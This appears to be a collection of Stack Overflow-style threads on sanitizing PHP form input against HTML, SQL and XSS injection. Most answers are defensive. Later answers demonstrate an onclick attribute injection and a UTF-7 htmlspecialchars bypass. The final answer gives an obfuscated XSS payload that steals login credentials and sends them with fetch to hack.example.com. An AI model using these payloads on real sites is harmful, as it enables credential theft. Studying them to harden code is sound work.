So, I have a basic little script that takes input from an HTML form, is processes by PHP and then writes it to a text file in the form of CSS. I've already got some jerkwad trying to drop tables on the server (There is no SQL but I'd like to keep people from trying none the less) Here is the code that I have thus far, can someone help me block potentially bad input via htmlentities or something else?
The HTML Form
<html><body>
<h4>Codes Form</h4>
<form action="codes.php" method="post">
Username: <input name="Username" type="text" />
Usercode: <input name="Usercode" type="text" />
<input type="submit" value="Post It!" />
</form>
</body></html>
The PHP
<html><body>
<?php
$Friendcode = $_POST['Usercode'];
$Username = $_POST['Username'];
echo "You have recorded the following information on the server ". $Username . " " . $Usercode . ".<br />"; echo "Thanks for contributing!";
$output = ".author[href\$=\"$Username\"]:after { \n"
."content: \" ($Usercode)\" !important\n"
."}";
}
$fp = fopen('file.txt', 'a');
fwrite($fp, $output);
fwrite($fp, "\n");
fclose($fp);
?>
</body></html>
You can use htmlentities to convert html tags to their html equiv. < etc. Or you can use strp_tags to get rid of all html tags. If you are using sql use mysql_real_escape_string to make sql queries safer
Whenever you include data entered by the user in HTML code, it is always a good idea to first encode the data, by passing it into htmlspecialchars().
Think of it as a decontamination chamber. This will ensure that any of the HTML special chacters, such as "<" and ">" (deadly viruses) are properly escaped (killed) and won't show up in your page as "real" HTML tags (won't make your webpage sick).
Similarly, you must also encode user input when including it in SQL queries. The function that you use for this purpose varies depending on the database that you are using. Because of the dynamic nature of PHP, if you are a including numeric value in a SQL query, you must first check to make sure the variable contains a number by using functions such as is_numeric() and ctype_digit().
I think the best way to block HTML is to allow only the characters you think a username or a user code may have.
For example, limit the input to letters, numbers and underscores and trim the whitespaces in the beginning and the end of the string. This validation will fail whenever HTML code is provided as input.
I would suggest doing this on both client and server side, with a regex. A client-side example can be found here: jQuery remove all HTML tags EXCEPT Anchors
What happen if someone directly type the url of code.php in browser. They will get the Notice of undefined offset.
You should make at least a check if $_POST is not empty.
if(isset($_POST['submit']) && !empty($_POST))
{
//do operation
}
Validate the user name and user code for special characters and what you allow them to enter with PHP sever side
#Zer0mod: I'd use strip_tags to get rid of HTML and mysql_real_escape_string to take care of any potential SQL injections.
Use PHP to convert every symbol to HTML numbers! Head on over to htmlentities() for details about doing so.
Related
I have a PHP code as shown below in which on POST call, I am getting encrypted value instead of the character. For example, on entering Hello World' I get this Hello World' instead of Hello World' on console (from Line Z).
In the form_validator.php, I am using the following:
if (isset($_POST["response"]))
$response = $_POST["response"];
print_r($response);
In the form.php, I have the following code:
<form id="acbdef" name="abcdef" action="#" method="post">
<table width="100%" class="wb-tables table">
<tr>
<td>
<?php echo SECRET_RESPONSE;?>:
</td>
<td colspan="2"><input type="text" id="response" name="response" value="" /></td>
</tr>
</table>
</form>
<script>
// Test all the fields in another php page using javax and receive the result by JSON
$("#save").click(function () {
$.post('form_validator.php', $("#abcdef").serialize(), function (data) {
console.log(data); // Line Z
});// end function(data)
});
</script>
In the config.php, I have the following:
$_GET = filter_input_array(INPUT_GET, FILTER_SANITIZE_STRING);
$_POST = filter_input_array(INPUT_POST, FILTER_SANITIZE_STRING);
$_REQUEST = (array) $_POST + (array) $_GET + (array) $_REQUEST;
Problem Statement :
I am wondering what changes I need to make in the php code above so that it takes the character itself instead of HTML coded apostrophe.
The problem is in your config.php where you have the following line:
$_POST = filter_input_array(INPUT_POST, FILTER_SANITIZE_STRING);
This will HTML-encode single and double quotes in the input, as defined in chapter Sanitize filters:
FILTER_SANITIZE_STRING
Strip tags and HTML-encode double and single quotes, optionally strip or encode special characters. Encoding quotes can be disabled by setting FILTER_FLAG_NO_ENCODE_QUOTES. (Deprecated as of PHP 8.1.0, use htmlspecialchars() instead.)
If you don't want to convert any single or double quotes in their respective HTML-encoded strings, then use the flag FILTER_FLAG_NO_ENCODE_QUOTES or don't use the FILTER_SANITIZE_STRING filter (it is deprecated anyway).
#Progman's answer is how to fix your issue with configuration, and covers which argument flags you might want to use.
I wanted to ensure the why was better understood.
Your string is technically not encrypted, rather it has been encoded, it has been transformed to an HTML "safe" equivalent -- using HTML character entities. You can read more about that here https://developer.mozilla.org/en-US/docs/Glossary/Entity
But essentially, the ' has been converted to an HTML entity code '. The idea being, it has become safe to embed in an HTML document, without it itself being interpreted as HTML, but as simply text.
It's a very simular concept to escaping strings, only specificly for HTML documents and Web Browsers.
All HTML entities can be represented as there literals or their entity codes. In this case ' can be written literally as ' or as '.
Most scripting languages have functions to perform these conversions for you. Such as PHP's html_entity_decode and htmlentities functions.
--
PHP Frameworks. Some frameworks will hook into your $_GLOBALS very early on, as the request is first recieved, and perform basic Sanitization on your request data. If you are using such a framework, perhaps that would explain where the initial encoding is being performed.
The basic idea here, is perhaps, since such conversions are generally needed anyways, for reuse of the request information, why not ensure it is normalized early on, and perhaps stored in any database in such a manner to remain HTML "safe".
You seems to be serializing the input. In jquery before you send it to your php. You will need to decode it before you print it.
Check out https://www.php.net/manual/en/function.html-entity-decode as a place to start
I have an input which allows users to enter text, which is then sent using PHP to another page, where it is stored in a database. I have done some simple validation ( checking if the input wasn't empty), and that works pretty well. However, I found out that I can type in HTML tags, such as
<p>
and it bypasses that validation and also messes up the input.
How can I check if the input contained HTML tags, and if so, return an error?
You can simply use htmlspecialchars, or strip_tags before inserting into database.
You can also use mysqli_real_escape_string or PDO::quote to secure strings
To check try this:
if( preg_match('#^<.>.+</.>$#', $your_value) ){
echo "NOT GOOD"; // and some error too
}
You could do this:
<input type='text' pattern='[a-zA-Z0-9]+'>
That ensures only letters and numbers can go in and wont submit if anything else is inside the input.
However, this is only good client side and will only work for IE9+
This is also not the best method for validation if someone knows what they're doing. All they have to do is go into the source code to take out the pattern attribute, but for those who don't know, it will be fine.
For the PHP, you can use strip_tags(). Found here
I am developing an application and I am reading up on implementing security measures. I set up a class to automatically generate form elements and the class embeds php string variables within html to create the fields. I noticed, however, that htmlspecialchars() was not necessary as I went to implement it. So I am attempting to pseudo-maliciously turn this:
<input type="text" name="email">... rest of html
into:
<input type="text" name="email"><br><br>
However, both before and after using htmlspecialchars(), my browser gives me this when I try to edit the frontend html:
<input type="text" name="email"><br><br>
Is this just something that is automatically implemented? If so, is this from a PHP update (I thought I found something about it being an update in PHP 5.4)?
Furthermore, Can I abandon using htmlspecialchars()?
Thank you!
EDIT: More information requested
$this->type = 'text' //what I would normally use
$this->type = 'text" name="name"><br><br>' //my attempt to manipulate the html
$output = "<input type='$this->type' name='$this->name'";
$output .= ... close the tag, etc.
echo $output;
The use of htmlspecialchars is required whenever you take some text and insert it into some HTML as a string (unless you know that the text won't contain any characters with special meaning in HTML, but even then using htmlspecialchars is a good habit to be in).
I can't explain why your unspecified input, when run through your unspecified code and then run through a browser's parser (with error recovery features), gives you that output.
After the question was updated:
$this->type = 'text" name="name"><br><br>' //my attempt to manipulate the html
$output = "<input type='$this->type' name='$this->name'";
Your attribute value is delimited with ' characters. Your data doesn't contain any ' characters, so it isn't going to terminate the attribute value and escape.
Try this manipulation:
$this->type = 'text\' name="name"><br><br>' //my attempt to manipulate the html
It should break your HTML, because the delimiters for your attribute value are single quotes, and now they appear in your attribute text as well.
And please make sure not to use any sophisticated DOM inspectors like firebug, but to look at the pure source code that is emitted by your server.
Here's what I am doing,
<?php
if(isset($_POST['submit'])){
$text_area= mysqli_real_escape_string($dbc, strip_tags(trim($_POST['text_area'])));
echo $text_area;
}
?>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>" >
<input type="textarea" name="text_area" style="width:280px;height:90px" id="myTextarea" />
<input type="submit" name="submit" Value="Submit"/>
</form>
But whenever I try to insert something like this: "Hello World" or 'Hello World', it outputs: \"Hello World\" or \'Hello world\'
where am I going wrong?
That's because you using the mysql-real-escape-string function. Use the stripslashes function on your data before displaying it to remove the slashes.
It seems you are outputting the value from the mysqli_real_escape_string method that escapes the string value for a SQL query to avoid SQL Injection. If you simply want to output anything that was inputted into the textarea then you can just purely show the value from the $_POST array but BEWARE if you don't do any checks you can easily fall victim to someone inputting some javascript etc. and have it appear on the page.
So for example to output just the pure text you sent to the server.
trim($_POST['text_area'])
and then you can call mysqli_real_escape_string again while building your query to make the string safe and avoid some common attacks.
You are using mysqli_real_escape_string incorrectly - it serves no purpose here.
Do not use it in this context, and the problem will go away. Use it only when entering data into a database.
Let's say we have this form, and the possible part for a user to inject malicious code is this below
...
<input type=text name=username value=
<?php echo htmlspecialchars($_POST['username']); ?>>
...
We can't simply put a tag, or a javascript:alert(); call, because value will be interpreted as a string, and htmlspecialchars filters out the <,>,',", so We can't close off the value with quotations.
We can use String.fromCode(.....) to get around the quotes, but I still unable to get a simple alert box to pop up.
Any ideas?
Also, it's important to mention that allowing people to inject HTML or JavaScript into your page (and not your datasource) carries no inherent security risk itself. There already exist browser extensions that allow you to modify the DOM and scripts on web pages, but since it's only client-side, they're the only ones that will know.
Where XSS becomes a problem is when people a) use it to bypass client-side validation or input filtering or b) when people use it to manipulate input fields (for example, changing the values of OPTION tags in an ACL to grant them permissions they shouldn't have). The ONLY way to prevent against these attacks is to sanitize and validate input on the server-side instead of, or in addition to, client-side validation.
For sanitizing HTML out of input, htmlspecialchars is perfectly adequate unless you WANT to allow certain tags, in which case you can use a library like HTMLPurifier. If you're placing user input in HREF, ONCLICK, or any attribute that allows scripting, you're just asking for trouble.
EDIT: Looking at your code, it looks like you aren't quoting your attributes! That's pretty silly. If someone put their username as:
john onclick="alert('hacking your megabits!1')"
Then your script would parse as:
<input type=text name=username value=john onclick="alert('hacking your megabits!1')">
ALWAYS use quotes around attributes. Even if they aren't user-inputted, it's a good habit to get into.
<input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>">
There's one way. You aren't passing htmlspecialchars() the third encoding parameter or checking encoding correctly, so:
$source = '<script>alert("xss")</script>';
$source = mb_convert_encoding($source, 'UTF-7');
$source = htmlspecialchars($source); //defaults to ISO-8859-1
header('Content-Type: text/html;charset=UTF-7');
echo '<html><head>' . $source . '</head></html>';
Only works if you can a) set the page to output UTF-7 or b) trick the page into doing so (e.g. iframe on a page without a clear charset set). The solution is to ensure all input is of the correct encoding, and that the expected encoding is correctly set on htmlspecialchars().
How it works? In UTF-7, <>" chars have different code points than UTF-8/ISO/ASCII so they are not escaped unless convert the output to UTF-8 for assurance (see iconv extension).
value is a normal HTML attribute, and has nothing to do with Javascript.
Therefore, String.fromCharCode is interpreted as a literal value, and is not executed.
In order to inject script, you first need to force the parser to close the attribute, which will be difficult to do without >'".
You forgot to put quotes around the attribute value, so all you need is a space.
Even if you do quote the value, it may still be vulnerable; see this page.
Somewhat similar to Daniel's answer, but breaking out of the value= by first setting a dummy value, then adding whitespace to put in the script which runs directly by a trick with autofocus, setting the input field blank and then adds a submit function which runs when the form is submitted, leaking the username and password to an url of my choice, creating strings from the string prototype without quotation (because quotations would be sanitized):
<body>
<script type="text/javascript">
function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}
redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
</script>
You cannt exploit that input field which contain that func but you can exploit any btn or paragraph or heading or text near it by:
like you can add this on btn -> onclick=alert('Hello')